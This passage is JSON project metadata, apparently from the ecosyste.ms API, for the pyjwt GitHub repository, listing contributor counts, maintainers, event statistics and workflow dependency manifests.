,"awoimbee":1,"kuldeepkhatke":1,"odigity":1,"sk-":1,"CharString":1,"remi-dupre":1,"dayongi":1,"Kyle-sandeman-mrdfood":1,"fabiocaccamo":1,"pachewise":1,"johnmba":1,"ericbn":1,"HenriChabert":1,"wmyre":1,"amolinaalvarez":1,"taylornelson-outside":1,"pmutua":1,"aruehl":1,"iivanov-qb":1,"eddy2by4":1,"Diwura":1,"denizs":1,"ChronoDK":1,"kloczek":1,"couling":1,"furkanyalcinz":1,"HadeelElbitar-zz":1,"PeterRistMHP":1,"vergenzt":1,"nijel":1,"yuqiuwen":1,"robbwdoering":1,"DavidKorczynski":1,"dsakagi":1,"vgnshiyer":1,"ranjanvishal-gmaildotcom":1,"khteh":1,"sebbegg":1,"enkore":1,"julianhahn":1,"fcortes":1,"scotchneat":1,"XenoAmess":1,"james-mchugh":1,"dmytro-GL":1,"cleder":1,"ghost":1,"tobloef":1,"CynanX":1,"aiuoe":1,"AFlowOfCode":1,"crspencer11":1,"wsw70":1,"dcierco":1,"dehy":1,"samwho":1,"shuhaib-aot":1,"wuwenhao0508":1,"michaelhenry":1,"CherryNick":1,"christophehenry":1,"fredaas":1,"bluefish6":1,"arjunChouksey":1,"yingzhuo":1,"henryh9n":1,"jbmcfarlin31":1,"AGaliciaMartinez":1,"oza4h07":1,"jasonlander2-nhs":1,"triat":1,"lacop11":1,"WolfgangFellger":1,"ThijsHakkenbergLobster":1,"khvn26":1,"zengzzzzz":1,"nick4u":1}},"pull_request_authors":{"table":{"pre-commit-ci[bot]":76,"dependabot[bot]":21,"pachewise":14,"kurtmckee":13,"Divan009":6,"auvipy":6,"luhn":6,"peter279k":6,"Viicos":5,"cleder":5,"jpadilla":5,"0xSolanaceae":4,"benvdh":4,"sirosen":4,"KrishnenduDG":4,"gagandeepp":4,"tamird":4,"akx":3,"kkirsche":3,"daviddavis":3,"hugovk":3,"qqii":2,"kpark-hrp":2,"khvn26":2,"ArvinAlizadehGitHub":2,"codespearhead":2,"harry-patcher":2,"amanjolhe":2,"way-dave":2,"kenkoooo":2,"padrepitufo":2,"RbnRncn":2,"fobiasmog":2,"woodruffw":2,"CollinEMac":2,"djw8605":2,"bdraco":2,"MachineLearning-Nerd":2,"shuhaib-aot":2,"nayavu":2,"krakozybra":2,"imnotjames":2,"mluscon":2,"Gautam-Hegde":2,"jaferrando":2,"kuldeepkhatke":2,"brandon-leapyear":1,"eseifert":1,"PaulMcMillan":1,"thundercat1":1,"nikitagashkov":1,"Kontrolix":1,"veeceey":1,"catalintrif":1,"gshmu":1,"danieltmiles":1,"gbillig":1,"amin-farjadi":1,"timw6n":1,"irdkwmnsb":1,"couling":1,"Ansud":1,"acomarcho":1,"rodrigovillarbello":1,"evroon":1,"mattpollak":1,"DaGuich":1,"fluxth":1,"sriharan16":1,"mark-adams":1,"daillouf":1,"lautat":1,"wuhaoyujerry":1,"michael-k":1,"michaelhenry":1,"Matthew1471":1,"stephan-nordnes-eriksen":1,"francoisfreitag":1,"daBrado":1,"dehy":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-03-11T00:00:08.908Z","repositories_count":13667112,"issues_count":34706386,"pull_requests_count":113243937,"authors_count":11193261,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"stale":5,"docs":2,"keep":2}},"past_year_pull_request_labels_count":{"table":{"dependencies":10,"github_actions":10,"stale":6,"Skip-Changelog":2}},"past_year_issue_author_associations_count":{"table":{"NONE":23,"CONTRIBUTOR":3}},"past_year_pull_request_author_associations_count":{"table":{"CONTRIBUTOR":63,"NONE":27,"COLLABORATOR":3,"OWNER":1}},"past_year_issue_authors":{"table":{"ajoyatklizos":1,"amin-farjadi":1,"beje2k15":1,"couling":1,"denizs":1,"dmytro-GL":1,"enkore":1,"fcortes":1,"HenriChabert":1,"jasonlander2-nhs":1,"JugeshHM":1,"kamikaze":1,"khvn26":1,"kuldeepkhatke":1,"nick4u":1,"nijel":1,"nishanth77":1,"noraj":1,"OneTesseractInMultiverse":1,"pakal":1,"petasis":1,"pythonweb2":1,"ranjanvishal-gmaildotcom":1,"remi-dupre":1,"WizzardMaker":1,"yogevyuval":1}},"past_year_pull_request_authors":{"table":{"pre-commit-ci[bot]":33,"kurtmckee":11,"dependabot[bot]":10,"tamird":4,"KrishnenduDG":4,"auvipy":3,"kuldeepkhatke":2,"krakozybra":2,"khvn26":2,"MachineLearning-Nerd":2,"harry-patcher":2,"qqii":2,"ArvinAlizadehGitHub":2,"amanjolhe":2,"Matthew1471":1,"nikitagashkov":1,"rodrigovillarbello":1,"veeceey":1,"Kontrolix":1,"jpadilla":1,"gshmu":1,"daBrado":1,"couling":1,"cleder":1,"amin-farjadi":1,"akx":1,"acomarcho":1}},"maintainers":[{"table":{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"}},{"table":{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}}],"active_maintainers":[{"table":{"login":"auvipy","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"}},{"table":{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}}]}},"events":{"total":{"ReleaseEvent":2,"DeleteEvent":24,"PullRequestEvent":88,"ForkEvent":47,"IssuesEvent":110,"WatchEvent":356,"IssueCommentEvent":170,"PushEvent":87,"PullRequestReviewCommentEvent":37,"PullRequestReviewEvent":85,"CreateEvent":21},"last_year":{"DeleteEvent":19,"PullRequestEvent":56,"ForkEvent":30,"IssuesEvent":68,"WatchEvent":196,"IssueCommentEvent":88,"PushEvent":57,"PullRequestReviewEvent":68,"PullRequestReviewCommentEvent":30,"CreateEvent":13}},"keywords":["hacktoberfest","jwt","python"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/main.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T11:09:06.696Z","updated_at":"2023-01-13T11:09:06.696Z","repository_link":"https://github.com/jpadilla/pyjwt/blob/master/.github/workflows/main.yml","dependencies":[{"id":6875586810,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6875586811,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":6875586812,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/stale.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T11:09:06.712Z","updated_at":"2023-01-13T11:09:06.712Z","repository_link":"https://github.com/jpadilla/pyjwt/blob/master/.github/workflows/stale.yml","dependencies":[{"id":6875586813,"package_name":"actions/stale","ecosystem":"actions","requirements":"v7","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":"docs/requirements-docs.txt","sha":null,"kind":"manifest","created_at":"2023-01-13T11:09:06.728Z","updated_at":"2023-01-13T11:09:06.728Z","repository_link":"https://github.com/jpadilla/pyjwt/blob/master/docs/requirements-docs.txt","dependencies":[{"id":6875586814,"package_name":"sphinx","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6875586815,"package_name":"sphinx_rtd_theme","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/enforce-changelog-entry.yml","sha":null,"kind":"manifest","created_at":"2025-11-13T02:02:09.726Z","updated_at":"2025-11-13T02:02:09.726Z","repository_link":"https://github.com/jpadilla/pyjwt/blob/master/.github/workflows/enforce-changelog-entry.yml","dependencies":[{"id":25747354932,"package_name":"dangoslen/changelog-enforcer","ecosystem":"actions","requirements":"204e7d3ef26579f4cd0fd759c57032656fdf23c7","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/pypi-package.yml","sha":null,"kind":"manifest","created_at":"2025-11-13T02:02:11.255Z","updated_at":"2025-11-13T02:02:11.255Z","repository_link":"https://github.com/jpadilla/pyjwt/blob/master/.github/workflows/pypi-package.yml","dependencies":[{"id":25747354941,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v5","direct":true,"kind":"composite","optional":false},{"id":25747354942,"package_name":"hynek/build-and-inspect-python-package","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":25747354947,"package_name":"actions/download-artifact","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25747354948,"package_name":"pypa/gh-action-pypi-publish","ecosystem":"actions","requirements":"release/v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":"pyproject.toml","sha":null,"kind":"manifest","created_at":"2025-11-13T02:02:14.849Z","updated_at":"2025-11-13T02:02:14.849Z","repository_link":"https://github.com/jpadilla/pyjwt/blob/master/pyproject.toml","dependencies":[]}],"score":34.76681540371975,"created_at":"2025-09-03T15:45:45.616Z","updated_at":"2026-06-20T13:02:21.730Z","avatar_url":"https://github.com/jpadilla.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/364073","html_url":"https://summary.ecosyste.ms/projects/364073"}